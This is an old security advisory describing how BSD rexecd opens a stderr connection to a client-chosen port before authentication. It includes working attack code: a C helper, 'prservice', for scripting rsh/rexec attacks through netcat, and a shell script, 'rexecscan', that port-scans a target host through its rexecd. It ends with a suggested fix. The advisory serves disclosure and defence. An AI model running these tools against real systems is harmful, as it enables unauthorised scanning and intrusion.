Vulnerability: Rexecd allows redirection of stderr stream to an arbitrary port on the client machine. This stream is opened by rexecd before authentication of the user. Vulnerable: All systems with BSD-based networking including FreeBSD, OpenBSD, NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux. Background: Rshd and rexecd can output stderr by opening a socket from the server machine to the client machine which is accepted by the rsh or rexec client. The rsh client opens the initial connection from a privileged port, rshd responds from a privileged port, and redirects the connection to a privleged port on the client machine. The trust model is preserved because this whole process is controlled by the setuid program rsh on the client machine. Exec is fundamentally similar to the shell service except that instead of a remote and local username being transmitted (for .rhosts and hosts.equiv authentication only) a username and password is transmitted, and the whole exchange uses unprivileged ports. Discussion: Because rexec uses unprivileged ports for the whole process, any user can send a request to a rexecd requesting connection of the stderr stream to an arbitrary port on the client machine. Since the client is unprivileged, there is no possibility for the legitimate stderr stream to be destined for a privileged port. In addition, spoofing techniques could allow the client to direct the stderr stream towards an arbitrary host as well as an arbitrary port, possibly exploiting a given trust model. Since rexecd terminates if the stderr port can't be connected to, and the port can be specified, rexecd can be used to easily scan the client host from the server host. The included script "rexecscan" demonstrates this. Repeat-By: begin prservice.c /* modified by jaeger 12Nov1996. Duplicated slack coding style. now takes port locuser remuser [cmd] port remuser passwd [cmd] where port is the dst port you wish the stderr socket to connect to from the server to the client machine. /* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up rsh/rexec attacks. Needs to be a prog because shells strip out nulls. args: locuser remuser [cmd] remuser passwd [cmd] cmd defaults to "pwd". ... whatever. _H*/ #include /* change if you like; "id" is a good one for figuring out if you won too */ static char cmd[] = "pwd"; static char buf [256]; main(argc, argv) int argc; char * argv[]; { register int x; register int y = 0; char * p; char * q; p = buf; memset (buf, 0, 256); if (! argv[1]) goto wrong; x = strlen (argv[1]); memcpy (p, argv[1], x); /* port plus null */ x++; p += x; y += x; if (! argv[2]) goto wrong; x = strlen (argv[2]); memcpy (p, argv[2], x); /* second arg plus null */ x++; p += x; y += x; if (! argv[3]) goto wrong; x = strlen (argv[3]); memcpy (p, argv[3], x); /* third arg plus null */ x++; p += x; y += x; q = cmd; if (argv[4]) q = argv[4]; x = strlen (q); /* not checked -- bfd */ memcpy (p, q, x); /* the command, plus final null */ x++; p += x; y += x; memcpy (p, "\n", 1); /* and a newline, so it goes */ y++; write (1, buf, y); /* zot! */ exit (0); wrong: fprintf (stderr, "%s: \n",argv[0]); exit (1); } end prservice.c begin rexecscan #!/bin/sh # Dumb script to demonstrate scanning with rexecd # jaeger, 12Nov1996 # Path to netcat NC=nc # Path to prservice program PRS=./prservice # Port to scan to MAX=1024 TARGET=$1 USER=$2 PASSWORD=$3 PORT=1 if [ $# -ne 3 ]; then echo "$0 " fi while [ $PORT -lt $MAX ]; do $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512 PORT=`expr $PORT + 1` done exit 0 end rexecscan Suggested Fix: The rexecd should check the specified return port ("port") to make sure it is nonprivileged, and not open the stderr stream until authentication is complete. Similar fixes for rshd are left as an exercise for the reader.